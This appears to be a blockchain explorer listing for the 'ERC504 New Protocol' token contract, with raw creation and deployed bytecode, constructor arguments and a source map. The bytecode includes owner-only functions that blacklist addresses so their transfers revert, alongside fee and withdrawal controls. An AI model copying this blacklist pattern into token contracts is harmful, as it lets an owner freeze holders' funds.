6c616e636560601b6020808301919091526001600160a01b038d1660009081526009909152919091205492945090925061162691908490610df6565b6001600160a01b03808a16600090815260096020526040808220939093559089168152205461165590826116bf565b6001600160a01b0380891660008181526009602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116a9908a815260200190565b60405180910390a3506001979650505050505050565b6000806116cc8385611ccd565b90508381101561084c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106af565b600081831161172d578261084c565b50919050565b60008060008461176457601054600160a81b900460ff166117545783611766565b61175f8686866117a5565b611766565b835b601054909150600090600160a81b900460ff1680156117825750855b61178c5784611797565b6117978787876117a5565b919791965090945050505050565b600080606484156118035760018611156117d757601654601754116117cc576012546117d0565b6014545b9150611808565b85156117fa57601554601754116117f0576011546117d0565b6013549150611808565b60009150611808565b600191505b600061181e826118188786611878565b906118fa565b3060009081526009602052604090205490915061183b90826116bf565b306000908152600960205260409020558561185f5761185a85846118fa565b611861565b805b905061186d858261193c565b979650505050505050565b60008260000361188a5750600061078b565b60006118968385611d51565b9050826118a38583611d68565b1461084c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106af565b600061084c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197e565b600061084c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df6565b6000818361199f5760405162461bcd60e51b81526004016106af91906119ac565b506000610e278486611d68565b600060208083528351808285015260005b818110156119d9578581018301518582016040015282016119bd565b506000604082860101526040601f19601f8301168501019250505092915050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610d6157600080fd5b8035611a3081611a10565b919050565b60006020808385031215611a4857600080fd5b823567ffffffffffffffff80821115611a6057600080fd5b818501915085601f830112611a7457600080fd5b813581811115611a8657611a866119fa565b8060051b604051601f19603f83011681018181108582111715611aab57611aab6119fa565b604052918252848201925083810185019188831115611ac957600080fd5b938501935b82851015611aee57611adf85611a25565b84529385019392850192611ace565b98975050505050505050565b60008060408385031215611b0d57600080fd5b8235611b1881611a10565b946020939093013593505050565b600080600060608486031215611b3b57600080fd5b8335611b4681611a10565b92506020840135611b5681611a10565b929592945050506040919091013590565b600060208284031215611b7957600080fd5b5035919050565b600060208284031215611b9257600080fd5b813561084c81611a10565b60008060408385031215611bb057600080fd5b8235611bbb81611a10565b91506020830135611bcb81611a10565b809150509250929050565b600181811c90821680611bea57607f821691505b60208210810361172d57634e487b7160e01b600052602260045260246000fd5b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c6857611c68611c40565b5060010190565b600060208284031215611c8157600080fd5b815161084c81611a10565b600080600060608486031215611ca157600080fd5b8351925060208401519150604084015190509250925092565b8181038181111561078b5761078b611c40565b8082018082111561078b5761078b611c40565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d305784516001600160a01b031683529383019391830191600101611d0b565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761078b5761078b611c40565b600082611d8557634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122034655cd5ac92bac143d454d2ed5d4be220e714ae48b8820a1a5b8dea24a93fab64736f6c63430008130033000000000000000000000000eff58c674757e49496d16699044f78305637aaf2000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000013455243353034204e65772050726f746f636f6c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064552433530340000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c80636c0a24eb1161010257806395d89b4111610095578063d802a68011610064578063d802a6801461054d578063dd62ed3e1461056d578063e71f7765146105b3578063f887ea40146105d357600080fd5b806395d89b41146104e3578063a8aa1b31146104f8578063a9059cbb14610518578063b67077041461053857600080fd5b8063715018a6116100d1578063715018a61461044e578063877930e314610463578063893d20e814610478578063946011ee146104aa57600080fd5b80636c0a24eb146103c15780636ce42475146103d75780636ddd1713146103f757806370a082311461041857600080fd5b806323b872dd1161017a5780633ac7bf1c116101495780633ac7bf1c146103605780633eaaf86b146103755780634cbdde6a1461038b5780635b094902146103a057600080fd5b806323b872dd146102d55780632c743eac146102f55780632f54bf6e14610315578063313ce5671461034457600080fd5b8063095ea7b3116101b6578063095ea7b3146102665780630af4c438146102865780630faee56f146102aa57806318160ddd146102c057600080fd5b806306fdde03146101e857806308f9581d1461021357806308fd3d051461023557600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd6105f3565b60405161020a91906119ac565b60405180910390f35b34801561021f57600080fd5b5061023361022e366004611a35565b610685565b005b34801561024157600080fd5b5060105461025690600160b01b900460ff1681565b604051901515815260200161020a565b34801561027257600080fd5b50610256610281366004611afa565b610724565b34801561029257600080fd5b5061029c60075481565b60405190815260200161020a565b3480156102b657600080fd5b5061029c60085481565b3480156102cc57600080fd5b5060055461029c565b3480156102e157600080fd5b506102566102f0366004611b26565b610791565b34801561030157600080fd5b50610233610310366004611b67565b610853565b34801561032157600080fd5b50610256610330366004611b80565b6000546001600160a01b0391821691161490565b34801561035057600080fd5b506040516012815260200161020a565b34801561036c57600080fd5b50610256610882565b34801561038157600080fd5b5061029c60055481565b34801561039757600080fd5b506102336108b9565b3480156103ac57600080fd5b5060105461025690600160a81b900460ff1681565b3480156103cd57600080fd5b5061029c60065481565b3480156103e357600080fd5b506102336103f2366004611b67565b610b6b565b34801561040357600080fd5b5060105461025690600160a01b900460ff1681565b34801561042457600080fd5b5061029c610433366004611b80565b6001600160a01b031660009081526009602052604090205490565b34801561045a57600080fd5b50610233610b9a565b34801561046f57600080fd5b50610233610c09565b34801561048457600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161020a565b3480156104b657600080fd5b506102566104c5366004611b80565b6001600160a01b03166000908152600d602052604090205460ff1690565b3480156104ef57600080fd5b506101fd610ca6565b34801561050457600080fd5b50600f54610492906001600160a01b031681565b34801561052457600080fd5b50610256610533366004611afa565b610cb5565b34801561054457600080fd5b50610233610cc2565b34801561055957600080fd5b50600e54610492906001600160a01b031681565b34801561057957600080fd5b5061029c610588366004611b9d565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156105bf57600080fd5b506102336105ce366004611a35565b610d64565b3480156105df57600080fd5b50601054610492906001600160a01b031681565b60606003805461060290611bd6565b80601f016020809104026020016040519081016040528092919081815260200182805461062e90611bd6565b801561067b5780601f106106505761010080835404028352916020019161067b565b820191906000526020600020905b81548152906001019060200180831161065e57829003601f168201915b5050505050905090565b6000546001600160a01b031633146106b85760405162461bcd60e51b81526004016106af90611c0a565b60405180910390fd5b60005b8151811015610720576000600d60008484815181106106dc576106dc611c2a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061071881611c56565b9150506106bb565b5050565b336000818152600a602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061077f9086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600a602090815260408083203384529091528120546000191461083e576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600a82528381203382529091529190912054610819918490610df6565b6001600160a01b0385166000908152600a602090815260408083203384529091529020555b610849848484610e30565b90505b9392505050565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016106af90611c0a565b601355565b600080546001600160a01b031633146108ad5760405162461bcd60e51b81526004016106af90611c0a565b50600554600655600190565b6000546001600160a01b031633146108e35760405162461bcd60e51b81526004016106af90611c0a565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096b9190611c6f565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f19190611c6f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a629190611c6f565b600f80546001600160a01b0319166001600160a01b039283169081179091556000908152600c60209081526040808320805460ff1916600117905530808452600a83528184206010805487168652908452828520600019905554818552600990935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610b41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b669190611c8c565b505050565b6000546001600160a01b03163314610b955760405162461bcd60e51b81526004016106af90611c0a565b601455565b6000546001600160a01b03163314610bc45760405162461bcd60e51b81526004016106af90611c0a565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610c335760405162461bcd60e51b81526004016106af90611c0a565b601054600160b01b900460ff1615610c8d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016106af565b6010805462ffffff60a01b19166201010160a01b179055565b60606004805461060290611bd6565b600061084c338484610e30565b6000546001600160a01b03163314610cec5760405162461bcd60e51b81526004016106af90611c0a565b60004711610d355760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016106af565b60405133904780156108fc02916000818181858888f19350505050158015610d61573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610d8e5760405162461bcd60e51b81526004016106af90611c0a565b60005b8151811015610720576001600d6000848481518110610db257610db2611c2a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610dee81611c56565b915050610d91565b60008184841115610e1a5760405162461bcd60e51b81526004016106af91906119ac565b506000610e278486611cba565b95945050505050565b60006001600160a01b038416610e965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106af565b6001600160a01b038316610ef85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106af565b60008211610f5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106af565b6001600160a01b0384166000908152600d6020526040812054819060ff16158015610f9e57506001600160a01b0385166000908152600d602052604090205460ff16155b610fa757600080fd5b60185460ff1615610fc657610fbd86868661117f565b9250505061084c565b6001600160a01b0386166000908152600b602052604090205460ff1615801561100857506001600160a01b0385166000908152600b602052604090205460ff16155b1561105d57601054600160b01b900460ff1661105d5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016106af565b601054600160a01b900460ff1661107957610fbd86868661117f565b6110838686611265565b15611137576001600160a01b0385166000908152600c602052604090205460ff16806110d457506006546001600160a01b0386166000908152600960205260409020546110d1908690611ccd565b11155b61112e5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016106af565b611137866112e2565b6111418686611310565b8092508193505050611157828286600754611389565b1561116557611165846113f7565b61117286868684866115bd565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526009909152918220546111d0918490610df6565b6001600160a01b0380861660009081526009602052604080822093909355908516815220546111ff90836116bf565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112539086815260200190565b60405180910390a35060019392505050565b600f546000906001600160a01b0383811691161480159061129457506002546001600160a01b03838116911614155b80156112b957506001600160a01b0383166000908152600b602052604090205460ff16155b801561084c5750506001600160a01b03166000908152600b602052604090205460ff1615919050565b600f546001600160a01b0390811690821603610d61576017805490600061130883611c56565b919050555050565b600080600080611339866001600160a01b03166000908152600b602052604090205460ff161590565b600f549091506001600160a01b039081169086160361135b576002915061137f565b600f546001600160a01b039081169087160361137a576001915061137f565b600091505b9590945092505050565b3060009081526009602052604081205482908490600083821180156113ad57508383115b60185490915060ff161580156113c05750885b80156113cc5750600188115b80156113d55750805b80156113ea5750601054600160a01b900460ff165b9998505050505050505050565b6018805460ff19166001179055306000908152600960205260408120549050600061142d836114288460085461171e565b61171e565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061146757611467611c2a565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e49190611c6f565b816001815181106114f7576114f7611c2a565b6001600160a01b03928316602091820292909201015260105460405163791ac94760e01b815291169063791ac9479061153d908590600090869030904290600401611ce0565b600060405180830381600087803b15801561155757600080fd5b505af115801561156b573d6000803e3d6000fd5b5050600e546040514793506001600160a01b03909116915082156108fc029083906000818181858888f193505050501580156115ab573d6000803e3d6000fd5b50506018805460ff1916905550505050565b60008060006115cd858588611733565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526009909152919091205492945090925061162691908490610df6565b6001600160a01b03808a16600090815260096020526040808220939093559089168152205461165590826116bf565b6001600160a01b0380891660008181526009602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116a9908a815260200190565b60405180910390a3506001979650505050505050565b6000806116cc8385611ccd565b90508381101561084c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106af565b600081831161172d578261084c565b50919050565b60008060008461176457601054600160a81b900460ff166117545783611766565b61175f8686866117a5565b611766565b835b601054909150600090600160a81b900460ff1680156117825750855b61178c5784611797565b6117978787876117a5565b919791965090945050505050565b600080606484156118035760018611156117d757601654601754116117cc576012546117d0565b6014545b9150611808565b85156117fa57601554601754116117f0576011546117d0565b6013549150611808565b60009150611808565b600191505b600061181e826118188786611878565b906118fa565b3060009081526009602052604090205490915061183b90826116bf565b306000908152600960205260409020558561185f5761185a85846118fa565b611861565b805b905061186d858261193c565b979650505050505050565b60008260000361188a5750600061078b565b60006118968385611d51565b9050826118a38583611d68565b1461084c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106af565b600061084c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197e565b600061084c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df6565b6000818361199f5760405162461bcd60e51b81526004016106af91906119ac565b506000610e278486611d68565b600060208083528351808285015260005b818110156119d9578581018301518582016040015282016119bd565b506000604082860101526040601f19601f8301168501019250505092915050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610d6157600080fd5b8035611a3081611a10565b919050565b60006020808385031215611a4857600080fd5b823567ffffffffffffffff80821115611a6057600080fd5b818501915085601f830112611a7457600080fd5b813581811115611a8657611a866119fa565b8060051b604051601f19603f83011681018181108582111715611aab57611aab6119fa565b604052918252848201925083810185019188831115611ac957600080fd5b938501935b82851015611aee57611adf85611a25565b84529385019392850192611ace565b98975050505050505050565b60008060408385031215611b0d57600080fd5b8235611b1881611a10565b946020939093013593505050565b600080600060608486031215611b3b57600080fd5b8335611b4681611a10565b92506020840135611b5681611a10565b929592945050506040919091013590565b600060208284031215611b7957600080fd5b5035919050565b600060208284031215611b9257600080fd5b813561084c81611a10565b60008060408385031215611bb057600080fd5b8235611bbb81611a10565b91506020830135611bcb81611a10565b809150509250929050565b600181811c90821680611bea57607f821691505b60208210810361172d57634e487b7160e01b600052602260045260246000fd5b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c6857611c68611c40565b5060010190565b600060208284031215611c8157600080fd5b815161084c81611a10565b600080600060608486031215611ca157600080fd5b8351925060208401519150604084015190509250925092565b8181038181111561078b5761078b611c40565b8082018082111561078b5761078b611c40565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d305784516001600160a01b031683529383019391830191600101611d0b565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761078b5761078b611c40565b600082611d8557634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122034655cd5ac92bac143d454d2ed5d4be220e714ae48b8820a1a5b8dea24a93fab64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000eff58c674757e49496d16699044f78305637aaf2000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000013455243353034204e65772050726f746f636f6c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064552433530340000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : ERC504Wallet (address): 0xeFF58C674757e49496d16699044f78305637AAF2
Arg [1] : name_ (string): ERC504 New Protocol
Arg [2] : symbol_ (string): ERC504
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 000000000000000000000000eff58c674757e49496d16699044f78305637aaf2
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000013
Arg [4] : 455243353034204e65772050726f746f636f6c00000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 4552433530340000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
5363:9592:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11834:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12854:151;;;;;;;;;;-1:-1:-1;12854:151:0;;;;;:::i;:::-;;:::i;:::-;;6297:31;;;;;;;;;;-1:-1:-1;6297:31:0;;;;-1:-1:-1;;;6297:31:0;;;;;;;;;2265:14:1;;2258:22;2240:41;;2228:2;2213:18;6297:31:0;2100:187:1;7833:192:0;;;;;;;;;;-1:-1:-1;7833:192:0;;;;;:::i;:::-;;:::i;5777:64::-;;;;;;;;;;;;;;;;;;;2758:25:1;;;2746:2;2731:18;5777:64:0;2612:177:1;5844:54:0;;;;;;;;;;;;;;;;11266:90;;;;;;;;;;-1:-1:-1;11340:12:0;;11266:90;;14238:350;;;;;;;;;;-1:-1:-1;14238:350:0;;;;;:::i;:::-;;:::i;12022:89::-;;;;;;;;;;-1:-1:-1;12022:89:0;;;;;:::i;:::-;;:::i;2695:91::-;;;;;;;;;;-1:-1:-1;2695:91:0;;;;;:::i;:::-;2750:4;2777:5;-1:-1:-1;;;;;2766:16:0;;;2777:5;;2766:16;;2695:91;8585:82;;;;;;;;;;-1:-1:-1;8585:82:0;;5649:2;3834:36:1;;3822:2;3807:18;8585:82:0;3692:184:1;9182:115:0;;;;;;;;;;;;;:::i;5654:57::-;;;;;;;;;;;;;;;;10738:432;;;;;;;;;;;;;:::i;6258:36::-;;;;;;;;;;-1:-1:-1;6258:36:0;;;;-1:-1:-1;;;6258:36:0;;;;;;5714:60;;;;;;;;;;;;;;;;12115:91;;;;;;;;;;-1:-1:-1;12115:91:0;;;;;:::i;:::-;;:::i;6224:31::-;;;;;;;;;;-1:-1:-1;6224:31:0;;;;-1:-1:-1;;;6224:31:0;;;;;;7236:107;;;;;;;;;;-1:-1:-1;7236:107:0;;;;;:::i;:::-;-1:-1:-1;;;;;7321:18:0;7302:7;7321:18;;;:9;:18;;;;;;;7236:107;2790:111;;;;;;;;;;;;;:::i;8029:170::-;;;;;;;;;;;;;:::i;7152:80::-;;;;;;;;;;-1:-1:-1;7204:7:0;7223:5;-1:-1:-1;;;;;7223:5:0;7152:80;;;-1:-1:-1;;;;;4045:32:1;;;4027:51;;4015:2;4000:18;7152:80:0;3881:203:1;13009:79:0;;;;;;;;;;-1:-1:-1;13009:79:0;;;;;:::i;:::-;-1:-1:-1;;;;;13074:10:0;13059:4;13074:10;;;:7;:10;;;;;;;;;13009:79;11926:92;;;;;;;;;;;;;:::i;6163:19::-;;;;;;;;;;-1:-1:-1;6163:19:0;;;;-1:-1:-1;;;;;6163:19:0;;;14590:158;;;;;;;;;;-1:-1:-1;14590:158:0;;;;;:::i;:::-;;:::i;7656:173::-;;;;;;;;;;;;;:::i;6132:28::-;;;;;;;;;;-1:-1:-1;6132:28:0;;;;-1:-1:-1;;;;;6132:28:0;;;10594:140;;;;;;;;;;-1:-1:-1;10594:140:0;;;;;:::i;:::-;-1:-1:-1;;;;;10702:19:0;;;10682:7;10702:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10594:140;12703:147;;;;;;;;;;-1:-1:-1;12703:147:0;;;;;:::i;:::-;;:::i;6187:32::-;;;;;;;;;;-1:-1:-1;6187:32:0;;;;-1:-1:-1;;;;;6187:32:0;;;11834:88;11888:13;11913:5;11906:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11834:88;:::o;12854:151::-;2750:4;2777:5;-1:-1:-1;;;;;2777:5:0;2661:10;2766:16;2645:38;;;;-1:-1:-1;;;2645:38:0;;;;;;;:::i;:::-;;;;;;;;;12927:6:::1;12922:80;12943:9;:16;12939:1;:20;12922:80;;;12993:5;12969:7;:21;12977:9;12987:1;12977:12;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12969:21:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12969:21:0;:29;;-1:-1:-1;;12969:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12961:3;::::1;::::0;::::1;:::i;:::-;;;;12922:80;;;;12854:151:::0;:::o;7833:192::-;7933:10;7911:4;7921:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7921:32:0;;;;;;;;;;:41;;;7970:37;7911:4;;7921:32;;7970:37;;;;7956:6;2758:25:1;;2746:2;2731:18;;2612:177;7970:37:0;;;;;;;;-1:-1:-1;8017:4:0;7833:192;;;;;:::o;14238:350::-;-1:-1:-1;;;;;14357:19:0;;14344:4;14357:19;;;:11;:19;;;;;;;;14377:10;14357:31;;;;;;;;-1:-1:-1;;14357:52:0;14353:170;;14448:71;;;;;;;;;;;-1:-1:-1;;;14448:71:0;;;;;;;;-1:-1:-1;;;;;14448:19:0;;-1:-1:-1;14448:19:0;;;:11;:19;;;;;14468:10;14448:31;;;;;;;;;;:71;;14486:6;;14448:37;:71::i;:::-;-1:-1:-1;;;;;14414:19:0;;;;;;:11;:19;;;;;;;;14434:10;14414:31;;;;;;;:105;14353:170;14534:50;14558:6;14566:9;14577:6;14534:23;:50::i;:::-;14527:57;;14238:350;;;;;;:::o;12022:89::-;2750:4;2777:5;-1:-1:-1;;;;;2777:5:0;2661:10;2766:16;2645:38;;;;-1:-1:-1;;;2645:38:0;;;;;;;:::i;:::-;12087:12:::1;:20:::0;12022:89::o;9182:115::-;9239:4;2777:5;;-1:-1:-1;;;;;2777:5:0;2661:10;2766:16;2645:38;;;;-1:-1:-1;;;2645:38:0;;;;;;;:::i;:::-;-1:-1:-1;9267:12:0::1;::::0;9248:16:::1;:31:::0;9289:4:::1;9182:115:::0;:::o;10738:432::-;2750:4;2777:5;-1:-1:-1;;;;;2777:5:0;2661:10;2766:16;2645:38;;;;-1:-1:-1;;;2645:38:0;;;;;;;:::i;:::-;10789:6:::1;:71:::0;;-1:-1:-1;;;;;;10789:71:0::1;10817:42;10789:71:::0;;::::1;::::0;;;10888:16:::1;::::0;;-1:-1:-1;;;10888:16:0;;;;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10817:42;10888:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10870:46:0::1;;10925:4;10932:6;;;;;;;;;-1:-1:-1::0;;;;;10932:6:0::1;-1:-1:-1::0;;;;;10932:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10870:76;::::0;-1:-1:-1;;;;;;10870:76:0::1;::::0;;;;;;-1:-1:-1;;;;;6325:15:1;;;10870:76:0::1;::::0;::::1;6307:34:1::0;6377:15;;6357:18;;;6350:43;6242:18;;10870:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10863:4;:83:::0;;-1:-1:-1;;;;;;10863:83:0::1;-1:-1:-1::0;;;;;10863:83:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10949:21:0;;;:15:::1;:21;::::0;;;;;;;:28;;-1:-1:-1;;10949:28:0::1;-1:-1:-1::0;10949:28:0::1;::::0;;11002:4:::1;10982:26:::0;;;:11:::1;:26:::0;;;;;11017:6:::1;::::0;;;::::1;10982:43:::0;;;;;;;;-1:-1:-1;;10982:63:0;;11048:6;7321:18;;;:9;:18;;;;;;11048:6;::::1;::::0;:22:::1;::::0;11078:21:::1;::::0;11140:1:::1;11144:5:::0;;11048:118:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11048:118:0;;;-1:-1:-1;;;;;6763:15:1;;;11048:118:0::1;::::0;::::1;6745:34:1::0;6795:18;;;6788:34;;;;6838:18;;;6831:34;;;6881:18;;;6874:34;;;;11144:5:0;;;::::1;6924:19:1::0;;;6917:44;11150:15:0::1;6977:19:1::0;;;6970:35;6679:19;;11048:118:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10738:432::o:0;12115:91::-;2750:4;2777:5;-1:-1:-1;;;;;2777:5:0;2661:10;2766:16;2645:38;;;;-1:-1:-1;;;2645:38:0;;;;;;;:::i;:::-;12181:13:::1;:21:::0;12115:91::o;2790:111::-;2750:4;2777:5;-1:-1:-1;;;;;2777:5:0;2661:10;2766:16;2645:38;;;;-1:-1:-1;;;2645:38:0;;;;;;;:::i;:::-;2855:1:::1;2839:18:::0;;-1:-1:-1;;;;;;2839:18:0::1;::::0;;2865:32:::1;::::0;4027:51:1;;;2865:32:0::1;::::0;4015:2:1;4000:18;2865:32:0::1;;;;;;;2790:111::o:0;8029:170::-;2750:4;2777:5;-1:-1:-1;;;;;2777:5:0;2661:10;2766:16;2645:38;;;;-1:-1:-1;;;2645:38:0;;;;;;;:::i;:::-;8087:11:::1;::::0;-1:-1:-1;;;8087:11:0;::::1;;;8086:12;8078:47;;;::::0;-1:-1:-1;;;8078:47:0;;7529:2:1;8078:47:0::1;::::0;::::1;7511:21:1::0;7568:2;7548:18;;;7541:30;7607:25;7587:18;;;7580:53;7650:18;;8078:47:0::1;7327:347:1::0;8078:47:0::1;8130:11;:18:::0;;-1:-1:-1;;;;8177:18:0;-1:-1:-1;;;8177:18:0;;;8029:170::o;11926:92::-;11982:13;12007:7;12000:14;;;;;:::i;14590:158::-;14673:4;14690:54;14714:10;14726:9;14737:6;14690:23;:54::i;7656:173::-;2750:4;2777:5;-1:-1:-1;;;;;2777:5:0;2661:10;2766:16;2645:38;;;;-1:-1:-1;;;2645:38:0;;;;;;;:::i;:::-;7743:1:::1;7719:21;:25;7711:60;;;::::0;-1:-1:-1;;;7711:60:0;;7881:2:1;7711:60:0::1;::::0;::::1;7863:21:1::0;7920:2;7900:18;;;7893:30;-1:-1:-1;;;7939:18:1;;;7932:52;8001:18;;7711:60:0::1;7679:346:1::0;7711:60:0::1;7774:51;::::0;7782:10:::1;::::0;7803:21:::1;7774:51:::0;::::1;;;::::0;::::1;::::0;;;7803:21;7782:10;7774:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7656:173::o:0;12703:147::-;2750:4;2777:5;-1:-1:-1;;;;;2777:5:0;2661:10;2766:16;2645:38;;;;-1:-1:-1;;;2645:38:0;;;;;;;:::i;:::-;12775:6:::1;12770:77;12791:8;:15;12787:1;:19;12770:77;;;12839:4;12816:7;:20;12824:8;12833:1;12824:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12816:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12816:20:0;:27;;-1:-1:-1;;12816:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12808:3;::::1;::::0;::::1;:::i;:::-;;;;12770:77;;946:168:::0;1038:7;1066:12;1058:6;;;;1050:29;;;;-1:-1:-1;;;1050:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1082:9:0;1094:5;1098:1;1094;